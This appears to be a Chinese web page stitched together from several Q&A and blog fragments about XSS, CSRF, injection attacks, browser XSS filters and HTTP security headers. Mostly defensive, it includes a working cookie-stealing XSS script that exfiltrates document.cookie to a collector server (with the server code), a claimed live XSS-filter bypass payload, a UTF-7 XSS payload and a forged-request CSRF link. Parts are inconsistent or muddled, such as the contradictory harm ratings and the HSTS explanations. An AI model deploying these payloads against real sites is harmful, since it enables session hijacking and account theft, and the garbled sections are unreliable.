chrome的XSS保护功能拒绝执行JavaScript代码怎么办？
这是因为Chrome的安全机制CSP。
推荐的做法：
不要把代码直接写在html元素里面，而是把button的click事件绑定的代码，放到一段script中
常见的网络攻击方式有哪些？
1、跨站脚本-XSS
相关研究表明，跨站脚本攻击大约占据了所有攻击的40%，是最为常见的一类网络攻击。但尽管最为常见，大部分跨站脚本攻击却不是特别高端，多为业余网络罪犯使用别人编写的脚本发起的。
跨站脚本针对的是网站的用户，而不是Web应用本身。恶意黑客在有漏洞的网站里注入一段代码，然后网站访客执行这段代码。此类代码可以入侵用户账户，激活木马程序，或者修改网站内容，诱骗用户给出私人信息。
防御方法：设置Web应用防火墙可以保护网站不受跨站脚本攻击危害。WAF就像个过滤器，能够识别并阻止对网站的恶意请求。购买网站托管服务的时候，Web托管公司通常已经为你的网站部署了WAF，但你自己仍然可以再设一个。
2、注入攻击
开放Web应用安全项目新出炉的十大应用安全风险研究中，注入漏洞被列为网站最高风险因素。SQL注入方法是网络罪犯最常见的注入方法。
注入攻击方法直接针对网站和服务器的数据库。执行时，攻击者注入一段能够揭示隐藏数据和用户输入的代码，获得数据修改权限，全面俘获应用。
防御方法：保护网站不受注入攻击危害，主要落实到代码库构建上。比如说：缓解SQL注入风险的首选方法就是始终尽量采用参数化语句。更进一步，可以考虑使用第三方身份验证工作流来外包你的数据库防护。
3、模糊测试
开发人员使用模糊测试来查找软件、操作系统或网络中的编程错误和安全漏洞。然而，攻击者可以使用同样的技术来寻找你网站或服务器上的漏洞。
采用模糊测试方法，攻击者首先向应用输入大量随机数据让应用崩溃。下一步就是用模糊测试工具发现应用的弱点，如果目标应用中存在漏洞，攻击者即可展开进一步漏洞利用。
防御方法：对抗模糊攻击的最佳方法就是保持更新安全设置和其他应用，尤其是在安全补丁发布后不更新就会遭遇恶意黑客利用漏洞的情况下。
4、零日攻击
零日攻击是模糊攻击的扩展，但不要求识别漏洞本身。此类攻击最近的案例是谷歌发现的，在Windows和chrome软件中发现了潜在的零日攻击。
在两种情况下，恶意黑客能够从零日攻击中获利。第一种情况是：如果能够获得关于即将到来的安全更新的信息，攻击者就可以在更新上线前分析出漏洞的位置。第二种情况是：网络罪犯获取补丁信息，然后攻击尚未更新系统的用户。这两种情况，系统安全都会遭到破坏，至于后续影响程度，就取决于黑客的技术了。
防御方法：保护自己和自身网站不受零日攻击影响最简便的方法，就是在新版本发布后及时更新你的软件。
5、路径(目录)遍历
路径遍历攻击针对Web
root文件夹，访问目标文件夹外部的未授权文件或目录。攻击者试图将移动模式注入服务器目录，以便向上爬升。成功的路径遍历攻击能够获得网站访问权，染指配置文件、数据库和同一实体服务器上的其他网站和文件。
防御方法：网站能否抵御路径遍历攻击取决于你的输入净化程度。这意味着保证用户输入安全，并且不能从你的服务器恢复出用户输入内容。最直观的建议就是打造你的代码库，这样用户的任何信息都不会传输到文件系统API。即使这条路走不通，也有其他技术解决方案可用。
如何避免被 chrome浏览器 xss过滤
首先要说明的是 它是webkit的一个模块,而非chrome ,所以Safari和360安全浏览器极速模式等webkit内核的浏览器都有XSS过滤功能.
过滤方式：
通过模糊匹配 输入参数(GET query| POST form data| Location fragment ) 与 dom树,如果匹配中的数据中包含跨站脚本则不在输出到上下文DOM树中.另外,匹配的规则跟CSP没有什么关系,最多是有参考,CSP这种规范类的东西更新速度太慢跟不上现实问题的步伐.
关闭模式：
因为它有可能影响到业务,所以浏览器提供了关闭它的HTTP响应头.
X-XSS-Protection: 0
绕过方式：
因为专门做这方面的原因所以对绕过也有所了解,目前我发布过的一个bypass 0day还可以继续使用.
svgscript xlink:href=data:,alert(1)/script/svg
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
如何关闭跨站点脚本 (XSS) 筛选器
这个错误是由于 IE8 的跨站脚本(Cross-site scripting, XSS)防护阻止了跨站发送的请求。
点击 IE8 的“工具”-“Internet 选项”，进入“安全”选项卡，打开“Internet”下方的“自定义级别”，在“安全设置”对话框中找到“启用 XSS 筛选器”，改为“禁用”即可。
很不明白为什么谷歌chrome浏览器有沙箱还是会中毒？
Chrome的标签页是于沙箱中运行的，不具有完整权限。不过Chrome的主进程和扩展都是具有完整权限的，所有仍有漏洞可被攻击。
几种极其隐蔽的XSS注入的防护
XSS注入的本质
就是: 某网页中根据用户的输入, 不期待地生成了可执行的js代码, 并且js得到了浏览器的执行. 意思是说, 发给浏览器的字符串中, 包含了一段非法的js代码, 而这段代码跟用户的输入有关.
常见的XSS注入防护, 可以通过简单的 htmlspecialchars(转义HTML特殊字符), strip_tags(清除HTML标签) 来解决, 但是, 还有一些隐蔽的XSS注入不能通过这两个方法来解决, 而且, 有时业务需要不允许清除HTML标签和特殊字符. 下面列举几种隐蔽的XSS注入方法:
IE6/7 UTF7 XSS 漏洞攻击
隐蔽指数: 5
伤害指数: 5
这个漏洞非常隐蔽, 因为它让出现漏洞的网页看起来只有英文字母(ASCII字符), 并没有非法字符, htmlspecialchars 和 strip_tags 函数对这种攻击没有作用. 不过, 这个攻击只对 IE6/IE7 起作用, 从 IE8 起微软已经修复了. 你可以把下面这段代码保存到一个文本文件中(前面不要有空格和换行), 然后用 IE6 打开试试(没有恶意代码, 只是一个演示):
+/v8 +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
最容易中招的就是 JSONP 的应用了, 解决方法是把非字母和数字下划线的字符全部过滤掉. 还有一种方法是在网页开始输出空格或者换行, 这样, UTF7-XSS 就不能起作用了.
因为只对非常老版本的 IE6/IE7 造成伤害, 对 Firefox/Chrome 没有伤害, 所以伤害指数只能给 4 颗星.
参考资料:UTF7-XSS不正确地拼接 JavaScript/JSON 代码段
隐蔽指数: 5
伤害指数: 5
Web 前端程序员经常在 PHP 代码或者某些模板语言中, 动态地生成一些 JavaScript 代码片段, 例如最常见的:
var a = '?php echo htmlspecialchars($name); ?';
不想, $name 是通过用户输入的, 当用户输入a’; alert(1); 时, 就形成了非法的JavaScript 代码, 也就是XSS 注入了.
只需要把上面的代码改成:
var a = ?php echo json_encode($name); ?;
去掉单引号, 利用 PHP 的 json_encode() 函数来生成表示字符串的字符串. 这样做是因为,
最好用 json_encode() 函数来生成所有的 JSON 串, 而不要试图自己去拼接
. 程序员总是犯这样的错误: 自己去解析 HTTP 报文, 而不是用现成的成熟的库来解析. 用 json_encode() 的好处还在于, 即使业务要求我要保留单引号时, XSS注入也可以避免.
隐蔽指数最高级, 伤害所有的通用浏览器
. 这种 XSS 注入方式具有非常重要的参考意义.
最后, 根据工作中的经验, 以及我自己和别人犯过的错, 我总结出一个定理: 没有一劳永逸的单一方法可以解决所有 XSS 注入问题.
有用的经验:输出 HTML 代码时 htmlspecialchars输出JavaScript 代码时 json_encode
输入过滤应该用于解决业务限制, 而不是用于解决 XSS 注入(与严进宽出的原则相悖, 所以本条值得讨论)讨论:上文提到的经验第3条, 是一种宽进严出的原则, 和严进宽出原则是相悖的. 其实, 我认为不应该把严进宽出作为一条伪真理, 好像除了它其它的说法都不对了似的. 宽进严出和严进宽出应该具有完全相等的地位, 根据实现的成本进行取舍.
例如, 用户的名字可以采用严进宽出原则, 不允许用户填写单引号, 大于号小于号等. 但是用户的签名呢? 难道就不能填单引号?
如何设置安全的header
正确的设置
0 – 关闭对浏览器的xss防护
1 – 开启xss防护
1; mode=block – 开启xss防护并通知浏览器阻止而不是过滤用户注入的脚本。
1; report=http://site.com/report – 这个只有chrome和webkit内核的浏览器支持，这种模式告诉浏览器当发现疑似xss攻击的时候就将这部分数据post到指定地址。
通常不正确的设置
0; mode=block; – 记住当配置为0的时候，即使加了mode=block选项也是没有效果的。需要指出的是，chrome在发现这种错误的配置后还是会开启xss防护。
1 mode=block; – 数字和选项之间必须是用分号分割，逗号和空格都是错误的。但是这种错误配置情况下，IE和chrome还是默认会清洗xss攻击，但是不会阻拦。
如何检测
如果过滤器检测或阻拦了一个反射性xss以后,IE会弹出一个对话框。当设置为1时，chrome会隐藏对反射性xss的输出。如果是设置为 1; mode=block ,那么chrome会直接将user-agent置为一个空值:, URL 这种形式。
参考文献
Post from Microsoft on the X-XSS-Protection Header
Chromium X-XSS-Protection Header Parsing Source
Discussion of report format in WebKit bugzilla
2. X-Content-Type-Options
目的
这个header主要用来防止在IE9、chrome和safari中的MIME类型混淆攻击。firefox目前对此还存在争议。通常浏览器可以通过嗅探内容本身的方法来决定它是什么类型，而不是看响应中的content-type值。通过设置 X-Content-Type-Options：如果content-type和期望的类型匹配，则不需要嗅探，只能从外部加载确定类型的资源。举个例子，如果加载了一个样式表，那么资源的MIME类型只能是text/css，对于IE中的脚本资源，以下的内容类型是有效的：
application/ecmascript
application/javascript
application/x-javascript
text/ecmascript
text/javascript
text/jscript
text/x-javascript
text/vbs
text/vbscript
对于chrome，则支持下面的MIME 类型：
text/javascript
text/ecmascript
application/javascript
application/ecmascript
application/x-javascript
text/javascript1.1
text/javascript1.2
text/javascript1.3
text/jscript
text/live script
正确的设置
nosniff – 这个是唯一正确的设置，必须这样。
通常不正确的设置
‘nosniff’ – 引号是不允许的
: nosniff – 冒号也是错误的
如何检测
在IE和chrome中打开开发者工具，在控制台中观察配置了nosniff和没有配置nosniff的输出有啥区别。
参考文献
Microsoft Post on Reducing MIME type security risks
Chromium Source for parsing nosniff from response
Chromium Source list of JS MIME types
MIME Sniffing Living Standard
3. X-Frame-Options
目的
这个header主要用来配置哪些网站可以通过frame来加载资源。它主要是用来防止UI redressing 补偿样式攻击。IE8和firefox 18以后的版本都开始支持ALLOW-FROM。chrome和safari都不支持ALLOW-FROM，但是WebKit已经在研究这个了。
正确的设置
DENY – 禁止所有的资源（本地或远程）试图通过frame来加载其他也支持X-Frame-Options 的资源。
SAMEORIGIN – 只允许遵守同源策略的资源（和站点同源）通过frame加载那些受保护的资源。
ALLOW-FROM http://www.example.com – 允许指定的资源（必须带上协议http或者https）通过frame来加载受保护的资源。这个配置只在IE和firefox下面有效。其他浏览器则默认允许任何源的资源（在X-Frame-Options没设置的情况下）。
通常不正确的设置
ALLOW FROM http://example.com – ALLOW和FROM 之间只能通过连字符来连接，空格是错误的。
ALLOW-FROM example.com – ALLOW-FROM选项后面必须跟上一个URI而且要有明确的协议（http或者https）
如何检测
可以通过访问test cases 来查看各种各样的选项 和浏览器对这些frame中的资源的响应。
参考文献
X-Frame-Options RFC
Combating ClickJacking With X-Frame-Options
4. Strict-Transport-Security
目的
Strict Transport Security (STS) 是用来配置浏览器和服务器之间安全的通信。它主要是用来防止中间人攻击，因为它强制所有的通信都走TLS。目前IE还不支持 STS头。需要注意的是，在普通的http请求中配置STS是没有作用的，因为攻击者很容易就能更改这些值。为了防止这样的现象发生，很多浏览器内置了一个配置了STS的站点list。
正确的设置
注意下面的值必须在https中才有效，如果是在http中配置会没有效果。
max-age=31536000 – 告诉浏览器将域名缓存到STS list里面，时间是一年。
max-age=31536000; includeSubDomains – 告诉浏览器将域名缓存到STS list里面并且包含所有的子域名，时间是一年。
max-age=0 – 告诉浏览器移除在STS缓存里的域名，或者不保存此域名。
通常不正确的设置
直接将includeSubDomains设置为 https://www.example.com ，但是用户依然可以通过 http://example.com 来访问此站点。如果example.com 并没有跳转到 https://example.com 并设置 STS header，那么访问 http://www.example.com 就会直接被浏览器重定向到 https://www.example.com 。
max-age=60 – 这个只设置域名保存时间为60秒。这个时间太短了，可能并不能很好的保护用户，可以尝试先通过http来访问站点，这样可以缩短传输时间。
max-age=31536000 includeSubDomains – max-age 和 includeSubDomains 直接必须用分号分割。这种情况下，即使max-age的值设置的没有问题，chrome也不会将此站点保存到STS缓存中。
max-age=31536000, includeSubDomains – 同上面情况一样。
max-age=0 – 尽管这样在技术上是没有问题的，但是很多站点可能在处理起来会出差错，因为0可能意味着永远不过期。